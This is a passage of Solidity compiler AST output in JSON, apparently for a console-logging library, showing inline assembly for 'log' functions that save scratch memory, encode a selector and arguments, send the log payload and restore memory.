rc":"317077:5:22","nodeType":"YulIdentifier","src":"317077:5:22"},"nativeSrc":"317077:11:22","nodeType":"YulFunctionCall","src":"317077:11:22"},"variableNames":[{"name":"m3","nativeSrc":"317071:2:22","nodeType":"YulIdentifier","src":"317071:2:22"}]},{"nativeSrc":"317101:17:22","nodeType":"YulAssignment","src":"317101:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"317113:4:22","nodeType":"YulLiteral","src":"317113:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"317107:5:22","nodeType":"YulIdentifier","src":"317107:5:22"},"nativeSrc":"317107:11:22","nodeType":"YulFunctionCall","src":"317107:11:22"},"variableNames":[{"name":"m4","nativeSrc":"317101:2:22","nodeType":"YulIdentifier","src":"317101:2:22"}]},{"nativeSrc":"317131:17:22","nodeType":"YulAssignment","src":"317131:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"317143:4:22","nodeType":"YulLiteral","src":"317143:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"317137:5:22","nodeType":"YulIdentifier","src":"317137:5:22"},"nativeSrc":"317137:11:22","nodeType":"YulFunctionCall","src":"317137:11:22"},"variableNames":[{"name":"m5","nativeSrc":"317131:2:22","nodeType":"YulIdentifier","src":"317131:2:22"}]},{"nativeSrc":"317161:17:22","nodeType":"YulAssignment","src":"317161:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"317173:4:22","nodeType":"YulLiteral","src":"317173:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"317167:5:22","nodeType":"YulIdentifier","src":"317167:5:22"},"nativeSrc":"317167:11:22","nodeType":"YulFunctionCall","src":"317167:11:22"},"variableNames":[{"name":"m6","nativeSrc":"317161:2:22","nodeType":"YulIdentifier","src":"317161:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317264:4:22","nodeType":"YulLiteral","src":"317264:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"317270:10:22","nodeType":"YulLiteral","src":"317270:10:22","type":"","value":"0xf8f51b1e"}],"functionName":{"name":"mstore","nativeSrc":"317257:6:22","nodeType":"YulIdentifier","src":"317257:6:22"},"nativeSrc":"317257:24:22","nodeType":"YulFunctionCall","src":"317257:24:22"},"nativeSrc":"317257:24:22","nodeType":"YulExpressionStatement","src":"317257:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317301:4:22","nodeType":"YulLiteral","src":"317301:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"317307:4:22","nodeType":"YulLiteral","src":"317307:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"317294:6:22","nodeType":"YulIdentifier","src":"317294:6:22"},"nativeSrc":"317294:18:22","nodeType":"YulFunctionCall","src":"317294:18:22"},"nativeSrc":"317294:18:22","nodeType":"YulExpressionStatement","src":"317294:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317332:4:22","nodeType":"YulLiteral","src":"317332:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"317338:2:22","nodeType":"YulIdentifier","src":"317338:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317325:6:22","nodeType":"YulIdentifier","src":"317325:6:22"},"nativeSrc":"317325:16:22","nodeType":"YulFunctionCall","src":"317325:16:22"},"nativeSrc":"317325:16:22","nodeType":"YulExpressionStatement","src":"317325:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317361:4:22","nodeType":"YulLiteral","src":"317361:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"317367:2:22","nodeType":"YulIdentifier","src":"317367:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317354:6:22","nodeType":"YulIdentifier","src":"317354:6:22"},"nativeSrc":"317354:16:22","nodeType":"YulFunctionCall","src":"317354:16:22"},"nativeSrc":"317354:16:22","nodeType":"YulExpressionStatement","src":"317354:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317390:4:22","nodeType":"YulLiteral","src":"317390:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"317396:2:22","nodeType":"YulIdentifier","src":"317396:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317383:6:22","nodeType":"YulIdentifier","src":"317383:6:22"},"nativeSrc":"317383:16:22","nodeType":"YulFunctionCall","src":"317383:16:22"},"nativeSrc":"317383:16:22","nodeType":"YulExpressionStatement","src":"317383:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317424:4:22","nodeType":"YulLiteral","src":"317424:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"317430:2:22","nodeType":"YulIdentifier","src":"317430:2:22"}],"functionName":{"name":"writeString","nativeSrc":"317412:11:22","nodeType":"YulIdentifier","src":"317412:11:22"},"nativeSrc":"317412:21:22","nodeType":"YulFunctionCall","src":"317412:21:22"},"nativeSrc":"317412:21:22","nodeType":"YulExpressionStatement","src":"317412:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44162,"isOffset":false,"isSlot":false,"src":"316981:2:22","valueSize":1},{"declaration":44165,"isOffset":false,"isSlot":false,"src":"317011:2:22","valueSize":1},{"declaration":44168,"isOffset":false,"isSlot":false,"src":"317041:2:22","valueSize":1},{"declaration":44171,"isOffset":false,"isSlot":false,"src":"317071:2:22","valueSize":1},{"declaration":44174,"isOffset":false,"isSlot":false,"src":"317101:2:22","valueSize":1},{"declaration":44177,"isOffset":false,"isSlot":false,"src":"317131:2:22","valueSize":1},{"declaration":44180,"isOffset":false,"isSlot":false,"src":"317161:2:22","valueSize":1},{"declaration":44152,"isOffset":false,"isSlot":false,"src":"317430:2:22","valueSize":1},{"declaration":44154,"isOffset":false,"isSlot":false,"src":"317338:2:22","valueSize":1},{"declaration":44156,"isOffset":false,"isSlot":false,"src":"317367:2:22","valueSize":1},{"declaration":44158,"isOffset":false,"isSlot":false,"src":"317396:2:22","valueSize":1}],"id":44182,"nodeType":"InlineAssembly","src":"316603:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":44184,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"317468:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":44185,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"317474:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":44183,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"317452:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":44186,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"317452:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44187,"nodeType":"ExpressionStatement","src":"317452:27:22"},{"AST":{"nativeSrc":"317498:214:22","nodeType":"YulBlock","src":"317498:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"317519:4:22","nodeType":"YulLiteral","src":"317519:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"317525:2:22","nodeType":"YulIdentifier","src":"317525:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317512:6:22","nodeType":"YulIdentifier","src":"317512:6:22"},"nativeSrc":"317512:16:22","nodeType":"YulFunctionCall","src":"317512:16:22"},"nativeSrc":"317512:16:22","nodeType":"YulExpressionStatement","src":"317512:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317548:4:22","nodeType":"YulLiteral","src":"317548:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"317554:2:22","nodeType":"YulIdentifier","src":"317554:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317541:6:22","nodeType":"YulIdentifier","src":"317541:6:22"},"nativeSrc":"317541:16:22","nodeType":"YulFunctionCall","src":"317541:16:22"},"nativeSrc":"317541:16:22","nodeType":"YulExpressionStatement","src":"317541:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317577:4:22","nodeType":"YulLiteral","src":"317577:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"317583:2:22","nodeType":"YulIdentifier","src":"317583:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317570:6:22","nodeType":"YulIdentifier","src":"317570:6:22"},"nativeSrc":"317570:16:22","nodeType":"YulFunctionCall","src":"317570:16:22"},"nativeSrc":"317570:16:22","nodeType":"YulExpressionStatement","src":"317570:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317606:4:22","nodeType":"YulLiteral","src":"317606:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"317612:2:22","nodeType":"YulIdentifier","src":"317612:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317599:6:22","nodeType":"YulIdentifier","src":"317599:6:22"},"nativeSrc":"317599:16:22","nodeType":"YulFunctionCall","src":"317599:16:22"},"nativeSrc":"317599:16:22","nodeType":"YulExpressionStatement","src":"317599:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317635:4:22","nodeType":"YulLiteral","src":"317635:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"317641:2:22","nodeType":"YulIdentifier","src":"317641:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317628:6:22","nodeType":"YulIdentifier","src":"317628:6:22"},"nativeSrc":"317628:16:22","nodeType":"YulFunctionCall","src":"317628:16:22"},"nativeSrc":"317628:16:22","nodeType":"YulExpressionStatement","src":"317628:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317664:4:22","nodeType":"YulLiteral","src":"317664:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"317670:2:22","nodeType":"YulIdentifier","src":"317670:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317657:6:22","nodeType":"YulIdentifier","src":"317657:6:22"},"nativeSrc":"317657:16:22","nodeType":"YulFunctionCall","src":"317657:16:22"},"nativeSrc":"317657:16:22","nodeType":"YulExpressionStatement","src":"317657:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"317693:4:22","nodeType":"YulLiteral","src":"317693:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"317699:2:22","nodeType":"YulIdentifier","src":"317699:2:22"}],"functionName":{"name":"mstore","nativeSrc":"317686:6:22","nodeType":"YulIdentifier","src":"317686:6:22"},"nativeSrc":"317686:16:22","nodeType":"YulFunctionCall","src":"317686:16:22"},"nativeSrc":"317686:16:22","nodeType":"YulExpressionStatement","src":"317686:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44162,"isOffset":false,"isSlot":false,"src":"317525:2:22","valueSize":1},{"declaration":44165,"isOffset":false,"isSlot":false,"src":"317554:2:22","valueSize":1},{"declaration":44168,"isOffset":false,"isSlot":false,"src":"317583:2:22","valueSize":1},{"declaration":44171,"isOffset":false,"isSlot":false,"src":"317612:2:22","valueSize":1},{"declaration":44174,"isOffset":false,"isSlot":false,"src":"317641:2:22","valueSize":1},{"declaration":44177,"isOffset":false,"isSlot":false,"src":"317670:2:22","valueSize":1},{"declaration":44180,"isOffset":false,"isSlot":false,"src":"317699:2:22","valueSize":1}],"id":44188,"nodeType":"InlineAssembly","src":"317489:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"316387:3:22","parameters":{"id":44159,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44152,"mutability":"mutable","name":"p0","nameLocation":"316399:2:22","nodeType":"VariableDeclaration","scope":44190,"src":"316391:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"316391:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44154,"mutability":"mutable","name":"p1","nameLocation":"316411:2:22","nodeType":"VariableDeclaration","scope":44190,"src":"316403:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44153,"name":"address","nodeType":"ElementaryTypeName","src":"316403:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":44156,"mutability":"mutable","name":"p2","nameLocation":"316423:2:22","nodeType":"VariableDeclaration","scope":44190,"src":"316415:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44155,"name":"uint256","nodeType":"ElementaryTypeName","src":"316415:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":44158,"mutability":"mutable","name":"p3","nameLocation":"316435:2:22","nodeType":"VariableDeclaration","scope":44190,"src":"316427:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":44157,"name":"uint256","nodeType":"ElementaryTypeName","src":"316427:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"316390:48:22"},"returnParameters":{"id":44160,"nodeType":"ParameterList","parameters":[],"src":"316453:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":44236,"nodeType":"FunctionDefinition","src":"317724:1536:22","nodes":[],"body":{"id":44235,"nodeType":"Block","src":"317799:1461:22","nodes":[],"statements":[{"assignments":[44202],"declarations":[{"constant":false,"id":44202,"mutability":"mutable","name":"m0","nameLocation":"317817:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317809:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44201,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317809:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44203,"nodeType":"VariableDeclarationStatement","src":"317809:10:22"},{"assignments":[44205],"declarations":[{"constant":false,"id":44205,"mutability":"mutable","name":"m1","nameLocation":"317837:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317829:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44204,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317829:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44206,"nodeType":"VariableDeclarationStatement","src":"317829:10:22"},{"assignments":[44208],"declarations":[{"constant":false,"id":44208,"mutability":"mutable","name":"m2","nameLocation":"317857:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317849:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44207,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317849:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44209,"nodeType":"VariableDeclarationStatement","src":"317849:10:22"},{"assignments":[44211],"declarations":[{"constant":false,"id":44211,"mutability":"mutable","name":"m3","nameLocation":"317877:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317869:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44210,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317869:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44212,"nodeType":"VariableDeclarationStatement","src":"317869:10:22"},{"assignments":[44214],"declarations":[{"constant":false,"id":44214,"mutability":"mutable","name":"m4","nameLocation":"317897:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317889:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44213,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317889:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44215,"nodeType":"VariableDeclarationStatement","src":"317889:10:22"},{"assignments":[44217],"declarations":[{"constant":false,"id":44217,"mutability":"mutable","name":"m5","nameLocation":"317917:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317909:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44216,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317909:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44218,"nodeType":"VariableDeclarationStatement","src":"317909:10:22"},{"assignments":[44220],"declarations":[{"constant":false,"id":44220,"mutability":"mutable","name":"m6","nameLocation":"317937:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317929:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44219,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317929:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44221,"nodeType":"VariableDeclarationStatement","src":"317929:10:22"},{"assignments":[44223],"declarations":[{"constant":false,"id":44223,"mutability":"mutable","name":"m7","nameLocation":"317957:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317949:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44222,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317949:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44224,"nodeType":"VariableDeclarationStatement","src":"317949:10:22"},{"assignments":[44226],"declarations":[{"constant":false,"id":44226,"mutability":"mutable","name":"m8","nameLocation":"317977:2:22","nodeType":"VariableDeclaration","scope":44235,"src":"317969:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44225,"name":"bytes32","nodeType":"ElementaryTypeName","src":"317969:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44227,"nodeType":"VariableDeclarationStatement","src":"317969:10:22"},{"AST":{"nativeSrc":"317998:927:22","nodeType":"YulBlock","src":"317998:927:22","statements":[{"body":{"nativeSrc":"318041:313:22","nodeType":"YulBlock","src":"318041:313:22","statements":[{"nativeSrc":"318059:15:22","nodeType":"YulVariableDeclaration","src":"318059:15:22","value":{"kind":"number","nativeSrc":"318073:1:22","nodeType":"YulLiteral","src":"318073:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"318063:6:22","nodeType":"YulTypedName","src":"318063:6:22","type":""}]},{"body":{"nativeSrc":"318144:40:22","nodeType":"YulBlock","src":"318144:40:22","statements":[{"body":{"nativeSrc":"318173:9:22","nodeType":"YulBlock","src":"318173:9:22","statements":[{"nativeSrc":"318175:5:22","nodeType":"YulBreak","src":"318175:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"318161:6:22","nodeType":"YulIdentifier","src":"318161:6:22"},{"name":"w","nativeSrc":"318169:1:22","nodeType":"YulIdentifier","src":"318169:1:22"}],"functionName":{"name":"byte","nativeSrc":"318156:4:22","nodeType":"YulIdentifier","src":"318156:4:22"},"nativeSrc":"318156:15:22","nodeType":"YulFunctionCall","src":"318156:15:22"}],"functionName":{"name":"iszero","nativeSrc":"318149:6:22","nodeType":"YulIdentifier","src":"318149:6:22"},"nativeSrc":"318149:23:22","nodeType":"YulFunctionCall","src":"318149:23:22"},"nativeSrc":"318146:36:22","nodeType":"YulIf","src":"318146:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"318101:6:22","nodeType":"YulIdentifier","src":"318101:6:22"},{"kind":"number","nativeSrc":"318109:4:22","nodeType":"YulLiteral","src":"318109:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"318098:2:22","nodeType":"YulIdentifier","src":"318098:2:22"},"nativeSrc":"318098:16:22","nodeType":"YulFunctionCall","src":"318098:16:22"},"nativeSrc":"318091:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"318115:28:22","nodeType":"YulBlock","src":"318115:28:22","statements":[{"nativeSrc":"318117:24:22","nodeType":"YulAssignment","src":"318117:24:22","value":{"arguments":[{"name":"length","nativeSrc":"318131:6:22","nodeType":"YulIdentifier","src":"318131:6:22"},{"kind":"number","nativeSrc":"318139:1:22","nodeType":"YulLiteral","src":"318139:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"318127:3:22","nodeType":"YulIdentifier","src":"318127:3:22"},"nativeSrc":"318127:14:22","nodeType":"YulFunctionCall","src":"318127:14:22"},"variableNames":[{"name":"length","nativeSrc":"318117:6:22","nodeType":"YulIdentifier","src":"318117:6:22"}]}]},"pre":{"nativeSrc":"318095:2:22","nodeType":"YulBlock","src":"318095:2:22","statements":[]},"src":"318091:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"318208:3:22","nodeType":"YulIdentifier","src":"318208:3:22"},{"name":"length","nativeSrc":"318213:6:22","nodeType":"YulIdentifier","src":"318213:6:22"}],"functionName":{"name":"mstore","nativeSrc":"318201:6:22","nodeType":"YulIdentifier","src":"318201:6:22"},"nativeSrc":"318201:19:22","nodeType":"YulFunctionCall","src":"318201:19:22"},"nativeSrc":"318201:19:22","nodeType":"YulExpressionStatement","src":"318201:19:22"},{"nativeSrc":"318237:37:22","nodeType":"YulVariableDeclaration","src":"318237:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"318254:3:22","nodeType":"YulLiteral","src":"318254:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"318263:1:22","nodeType":"YulLiteral","src":"318263:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"318266:6:22","nodeType":"YulIdentifier","src":"318266:6:22"}],"functionName":{"name":"shl","nativeSrc":"318259:3:22","nodeType":"YulIdentifier","src":"318259:3:22"},"nativeSrc":"318259:14:22","nodeType":"YulFunctionCall","src":"318259:14:22"}],"functionName":{"name":"sub","nativeSrc":"318250:3:22","nodeType":"YulIdentifier","src":"318250:3:22"},"nativeSrc":"318250:24:22","nodeType":"YulFunctionCall","src":"318250:24:22"},"variables":[{"name":"shift","nativeSrc":"318241:5:22","nodeType":"YulTypedName","src":"318241:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"318302:3:22","nodeType":"YulIdentifier","src":"318302:3:22"},{"kind":"number","nativeSrc":"318307:4:22","nodeType":"YulLiteral","src":"318307:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"318298:3:22","nodeType":"YulIdentifier","src":"318298:3:22"},"nativeSrc":"318298:14:22","nodeType":"YulFunctionCall","src":"318298:14:22"},{"arguments":[{"name":"shift","nativeSrc":"318318:5:22","nodeType":"YulIdentifier","src":"318318:5:22"},{"arguments":[{"name":"shift","nativeSrc":"318329:5:22","nodeType":"YulIdentifier","src":"318329:5:22"},{"name":"w","nativeSrc":"318336:1:22","nodeType":"YulIdentifier","src":"318336:1:22"}],"functionName":{"name":"shr","nativeSrc":"318325:3:22","nodeType":"YulIdentifier","src":"318325:3:22"},"nativeSrc":"318325:13:22","nodeType":"YulFunctionCall","src":"318325:13:22"}],"functionName":{"name":"shl","nativeSrc":"318314:3:22","nodeType":"YulIdentifier","src":"318314:3:22"},"nativeSrc":"318314:25:22","nodeType":"YulFunctionCall","src":"318314:25:22"}],"functionName":{"name":"mstore","nativeSrc":"318291:6:22","nodeType":"YulIdentifier","src":"318291:6:22"},"nativeSrc":"318291:49:22","nodeType":"YulFunctionCall","src":"318291:49:22"},"nativeSrc":"318291:49:22","nodeType":"YulExpressionStatement","src":"318291:49:22"}]},"name":"writeString","nativeSrc":"318012:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"318033:3:22","nodeType":"YulTypedName","src":"318033:3:22","type":""},{"name":"w","nativeSrc":"318038:1:22","nodeType":"YulTypedName","src":"318038:1:22","type":""}],"src":"318012:342:22"},{"nativeSrc":"318367:17:22","nodeType":"YulAssignment","src":"318367:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318379:4:22","nodeType":"YulLiteral","src":"318379:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"318373:5:22","nodeType":"YulIdentifier","src":"318373:5:22"},"nativeSrc":"318373:11:22","nodeType":"YulFunctionCall","src":"318373:11:22"},"variableNames":[{"name":"m0","nativeSrc":"318367:2:22","nodeType":"YulIdentifier","src":"318367:2:22"}]},{"nativeSrc":"318397:17:22","nodeType":"YulAssignment","src":"318397:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318409:4:22","nodeType":"YulLiteral","src":"318409:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"318403:5:22","nodeType":"YulIdentifier","src":"318403:5:22"},"nativeSrc":"318403:11:22","nodeType":"YulFunctionCall","src":"318403:11:22"},"variableNames":[{"name":"m1","nativeSrc":"318397:2:22","nodeType":"YulIdentifier","src":"318397:2:22"}]},{"nativeSrc":"318427:17:22","nodeType":"YulAssignment","src":"318427:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318439:4:22","nodeType":"YulLiteral","src":"318439:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"318433:5:22","nodeType":"YulIdentifier","src":"318433:5:22"},"nativeSrc":"318433:11:22","nodeType":"YulFunctionCall","src":"318433:11:22"},"variableNames":[{"name":"m2","nativeSrc":"318427:2:22","nodeType":"YulIdentifier","src":"318427:2:22"}]},{"nativeSrc":"318457:17:22","nodeType":"YulAssignment","src":"318457:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318469:4:22","nodeType":"YulLiteral","src":"318469:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"318463:5:22","nodeType":"YulIdentifier","src":"318463:5:22"},"nativeSrc":"318463:11:22","nodeType":"YulFunctionCall","src":"318463:11:22"},"variableNames":[{"name":"m3","nativeSrc":"318457:2:22","nodeType":"YulIdentifier","src":"318457:2:22"}]},{"nativeSrc":"318487:17:22","nodeType":"YulAssignment","src":"318487:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318499:4:22","nodeType":"YulLiteral","src":"318499:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"318493:5:22","nodeType":"YulIdentifier","src":"318493:5:22"},"nativeSrc":"318493:11:22","nodeType":"YulFunctionCall","src":"318493:11:22"},"variableNames":[{"name":"m4","nativeSrc":"318487:2:22","nodeType":"YulIdentifier","src":"318487:2:22"}]},{"nativeSrc":"318517:17:22","nodeType":"YulAssignment","src":"318517:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318529:4:22","nodeType":"YulLiteral","src":"318529:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"318523:5:22","nodeType":"YulIdentifier","src":"318523:5:22"},"nativeSrc":"318523:11:22","nodeType":"YulFunctionCall","src":"318523:11:22"},"variableNames":[{"name":"m5","nativeSrc":"318517:2:22","nodeType":"YulIdentifier","src":"318517:2:22"}]},{"nativeSrc":"318547:17:22","nodeType":"YulAssignment","src":"318547:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318559:4:22","nodeType":"YulLiteral","src":"318559:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"318553:5:22","nodeType":"YulIdentifier","src":"318553:5:22"},"nativeSrc":"318553:11:22","nodeType":"YulFunctionCall","src":"318553:11:22"},"variableNames":[{"name":"m6","nativeSrc":"318547:2:22","nodeType":"YulIdentifier","src":"318547:2:22"}]},{"nativeSrc":"318577:17:22","nodeType":"YulAssignment","src":"318577:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"318589:4:22","nodeType":"YulLiteral","src":"318589:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"318583:5:22","nodeType":"YulIdentifier","src":"318583:5:22"},"nativeSrc":"318583:11:22","nodeType":"YulFunctionCall","src":"318583:11:22"},"variableNames":[{"name":"m7","nativeSrc":"318577:2:22","nodeType":"YulIdentifier","src":"318577:2:22"}]},{"nativeSrc":"318607:18:22","nodeType":"YulAssignment","src":"318607:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"318619:5:22","nodeType":"YulLiteral","src":"318619:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"318613:5:22","nodeType":"YulIdentifier","src":"318613:5:22"},"nativeSrc":"318613:12:22","nodeType":"YulFunctionCall","src":"318613:12:22"},"variableNames":[{"name":"m8","nativeSrc":"318607:2:22","nodeType":"YulIdentifier","src":"318607:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"318710:4:22","nodeType":"YulLiteral","src":"318710:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"318716:10:22","nodeType":"YulLiteral","src":"318716:10:22","type":"","value":"0x5a477632"}],"functionName":{"name":"mstore","nativeSrc":"318703:6:22","no